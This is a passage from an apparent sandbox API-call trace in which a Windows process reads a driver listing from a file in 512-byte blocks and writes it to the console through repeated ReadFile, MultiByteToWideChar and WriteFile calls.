dmvsc Kernel 11/20/2010 9:57:43 AM \r\ndrmkaud Microsoft Trusted Audi Kernel 7/14/2009 12:06:16 AM \r\nDXGKrnl LDDM Graphics Subsyste Kernel 11/20/2010 9:50:50 AM \r\nE1G60 Intel(R) PRO/1000 NDIS Kernel 5/28/2008 11:14:51 PM \r\nebdrv Broadcom NetXtreme II Kernel 12/31/2008 4:29:28 PM \r\nelxstor elxstor \x15") returned 512 [0151.556] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.556] GetFileType (hFile=0x50) returned 0x1 [0151.556] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.556] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.556] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.556] GetFileType (hFile=0x50) returned 0x1 [0151.556] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.556] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.557] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.557] GetFileType (hFile=0x50) returned 0x1 [0151.557] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.557] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.557] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.557] GetFileType (hFile=0x50) returned 0x1 [0151.557] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.557] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.557] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.557] GetFileType (hFile=0x50) returned 0x1 [0151.557] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.557] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.557] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.557] GetFileType (hFile=0x50) returned 0x1 [0151.557] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.557] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.557] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.557] GetFileType (hFile=0x50) returned 0x1 [0151.557] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.557] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.557] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.557] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=12288) returned 1 [0151.557] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.557] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.557] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.557] GetFileType (hFile=0x50) returned 0x1 [0151.557] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" Kernel 2/3/2009 10:52:11 PM \r\nErrDev Microsoft Hardware Err Kernel 7/13/2009 11:31:04 PM \r\nexfat exFAT File System Driv File System 7/13/2009 11:23:29 PM \r\nfastfat FAT12/16/32 File Syste File System 7/13/2009 11:23:28 PM \r\nfdc Floppy Disk Controller Kernel 7/14/2009 12:00:54 AM \r\nFileInfo File Information FS Mi File System 7/13/2009 11:34:25 PM \r\nFiletrace Filetrace File System 7/13/2009 11:25:40 PM \r\nflpydisk Floppy Disk D\x15") returned 512 [0151.557] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.557] GetFileType (hFile=0x50) returned 0x1 [0151.558] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.558] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.558] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.558] GetFileType (hFile=0x50) returned 0x1 [0151.558] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.558] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.558] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.558] GetFileType (hFile=0x50) returned 0x1 [0151.558] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.558] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.558] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.558] GetFileType (hFile=0x50) returned 0x1 [0151.558] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.558] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.558] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.558] GetFileType (hFile=0x50) returned 0x1 [0151.558] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.558] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.558] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.558] GetFileType (hFile=0x50) returned 0x1 [0151.558] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.558] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.558] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.558] GetFileType (hFile=0x50) returned 0x1 [0151.558] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.558] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.558] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.559] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=12800) returned 1 [0151.559] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.559] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.559] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.559] GetFileType (hFile=0x50) returned 0x1 [0151.559] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="river Kernel 7/14/2009 12:00:54 AM \r\nFltMgr FltMgr File System 11/20/2010 9:19:24 AM \r\nFsDepends File System Dependency File System 7/13/2009 11:26:13 PM \r\nfvevol Bitlocker Drive Encryp Kernel 11/20/2010 9:24:06 AM \r\ngagp30kx Microsoft Generic AGPv Kernel 7/13/2009 11:38:43 PM \r\nhcw85cir Hauppauge Consumer Inf Kernel 5/11/2009 8:26:00 AM \r\nHdAudAddServ Microsoft 1.1 UAA Func Kernel 11/20/2010 10:44:23 AM\r\nHDAudBus Microso\x15") returned 512 [0151.559] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.559] GetFileType (hFile=0x50) returned 0x1 [0151.559] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.559] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.559] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.559] GetFileType (hFile=0x50) returned 0x1 [0151.559] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.559] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.559] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.559] GetFileType (hFile=0x50) returned 0x1 [0151.559] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.559] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.559] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.559] GetFileType (hFile=0x50) returned 0x1 [0151.559] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.559] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.559] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.559] GetFileType (hFile=0x50) returned 0x1 [0151.559] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.559] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.559] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.559] GetFileType (hFile=0x50) returned 0x1 [0151.559] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.559] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.560] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.560] GetFileType (hFile=0x50) returned 0x1 [0151.560] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.560] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.560] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.560] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=13312) returned 1 [0151.560] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.560] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.560] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.560] GetFileType (hFile=0x50) returned 0x1 [0151.560] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="ft UAA Bus Driv Kernel 11/20/2010 10:43:42 AM\r\nHidBatt HID UPS Battery Driver Kernel 7/13/2009 11:31:06 PM \r\nHidBth Microsoft Bluetooth HI Kernel 7/14/2009 12:06:52 AM \r\nHidIr Microsoft Infrared HID Kernel 7/14/2009 12:06:23 AM \r\nHidUsb Microsoft HID Class Dr Kernel 11/20/2010 10:43:49 AM\r\nHpSAMD HpSAMD Kernel 4/20/2010 6:32:18 PM \r\nHTTP HTTP Kernel 11/20/2010 9:24:30 AM \r\nhwpolicy H\x15") returned 512 [0151.560] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.560] GetFileType (hFile=0x50) returned 0x1 [0151.560] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.560] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.560] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.560] GetFileType (hFile=0x50) returned 0x1 [0151.560] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.560] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.560] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.560] GetFileType (hFile=0x50) returned 0x1 [0151.560] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.560] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.560] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.560] GetFileType (hFile=0x50) returned 0x1 [0151.560] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.560] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.560] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.560] GetFileType (hFile=0x50) returned 0x1 [0151.560] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.560] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.561] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.561] GetFileType (hFile=0x50) returned 0x1 [0151.561] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.561] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.561] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.561] GetFileType (hFile=0x50) returned 0x1 [0151.561] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.561] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.561] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.561] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=13824) returned 1 [0151.561] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.561] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.561] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.561] GetFileType (hFile=0x50) returned 0x1 [0151.561] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="ardware Policy Driver Kernel 11/20/2010 9:18:54 AM \r\ni8042prt i8042 Keyboard and PS/ Kernel 7/13/2009 11:19:57 PM \r\niaStorV iaStorV Kernel 6/11/2010 12:46:19 AM \r\niirsp iirsp Kernel 12/13/2005 9:47:54 PM \r\nintelide intelide Kernel 7/13/2009 11:19:48 PM \r\nintelppm Intel Processor Driver Kernel 7/13/2009 11:19:25 PM \r\nIpFilterDriv IP Traffic Filter Driv Kernel 11/20/2010 10:52:19 AM\r\nIPMIDRV \x15") returned 512 [0151.561] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.561] GetFileType (hFile=0x50) returned 0x1 [0151.561] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.561] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.561] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.561] GetFileType (hFile=0x50) returned 0x1 [0151.561] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.561] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.561] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.561] GetFileType (hFile=0x50) returned 0x1 [0151.561] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.562] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.562] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.562] GetFileType (hFile=0x50) returned 0x1 [0151.562] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.562] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.562] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.562] GetFileType (hFile=0x50) returned 0x1 [0151.562] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.562] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.562] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.562] GetFileType (hFile=0x50) returned 0x1 [0151.562] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.562] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.562] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.562] GetFileType (hFile=0x50) returned 0x1 [0151.562] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.562] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.562] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.562] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=14336) returned 1 [0151.562] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.562] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.562] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.562] GetFileType (hFile=0x50) returned 0x1 [0151.562] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr=" IPMIDRV Kernel 11/20/2010 10:04:53 AM\r\nIPNAT IP Network Address Tra Kernel 7/14/2009 12:10:03 AM \r\nIRENUM IR Bus Enumerator Kernel 7/14/2009 12:08:59 AM \r\nisapnp isapnp Kernel 7/13/2009 11:31:08 PM \r\niScsiPrt iScsiPort Driver Kernel 11/20/2010 10:35:14 AM\r\nkbdclass Keyboard Class Driver Kernel 7/13/2009 11:19:50 PM \r\nkbdhid Keyboard HID Driver Kernel 11/20/2010 10:33:25 AM\r\nKS\x15") returned 512 [0151.562] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.562] GetFileType (hFile=0x50) returned 0x1 [0151.562] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.562] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.563] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.563] GetFileType (hFile=0x50) returned 0x1 [0151.563] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.563] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.563] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.563] GetFileType (hFile=0x50) returned 0x1 [0151.563] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.563] WriteFile (in: hFile=0x50, lpBuffer=0x15e6d0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e6d0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.563] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.563] GetFileType (hFile=0x50) returned 0x1 [0151.563] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.563] WriteFile (in: hFile=0x50, lpBuffer=0x15e770*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e770*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.563] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.563] GetFileType (hFile=0x50) returned 0x1 [0151.563] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.563] WriteFile (in: hFile=0x50, lpBuffer=0x15e810*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e810*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.563] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.563] GetFileType (hFile=0x50) returned 0x1 [0151.563] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.563] WriteFile (in: hFile=0x50, lpBuffer=0x15e8b0*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e8b0*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.563] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.563] GetFileType (hFile=0x50) returned 0x1 [0151.563] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.563] WriteFile (in: hFile=0x50, lpBuffer=0x15e950*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e950*, lpNumberOfBytesWritten=0x15e138*=0x40, lpOverlapped=0x0) returned 1 [0151.563] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.563] SetFilePointerEx (in: hFile=0x58, liDistanceToMove=0x0, lpNewFilePointer=0x15e150, dwMoveMethod=0x1 | out: lpNewFilePointer=0x15e150*=14848) returned 1 [0151.563] _get_osfhandle (_FileHandle=4) returned 0x58 [0151.563] ReadFile (in: hFile=0x58, lpBuffer=0x15e170, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x15e130, lpOverlapped=0x0 | out: lpBuffer=0x15e170*, lpNumberOfBytesRead=0x15e130*=0x200, lpOverlapped=0x0) returned 1 [0151.563] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.563] GetFileType (hFile=0x50) returned 0x1 [0151.564] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x0, lpMultiByteStr=0x15e170, cbMultiByte=512, lpWideCharStr=0x15e590, cchWideChar=1024 | out: lpWideCharStr="ecDD KSecDD Kernel 11/20/2010 9:21:15 AM \r\nKSecPkg KSecPkg Kernel 11/20/2010 10:10:34 AM\r\nksthunk Kernel Streaming Thunk Kernel 7/14/2009 12:00:19 AM \r\nlltdio Link-Layer Topology Di Kernel 7/14/2009 12:08:50 AM \r\nLSI_FC LSI_FC Kernel 12/9/2008 10:46:09 PM \r\nLSI_SAS LSI_SAS Kernel 5/19/2009 12:20:23 AM \r\nLSI_SAS2 LSI_SAS2 Kernel 5/19/2009 12:31:48 A\x15") returned 512 [0151.564] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.564] GetFileType (hFile=0x50) returned 0x1 [0151.564] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.564] WriteFile (in: hFile=0x50, lpBuffer=0x15e590*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e590*, lpNumberOfBytesWritten=0x15e138*=0xa0, lpOverlapped=0x0) returned 1 [0151.564] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.564] GetFileType (hFile=0x50) returned 0x1 [0151.564] _get_osfhandle (_FileHandle=1) returned 0x50 [0151.564] WriteFile (in: hFile=0x50, lpBuffer=0x15e630*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x15e138, lpOverlapped=0x0 | out: lpBuffer=0x15e630*, 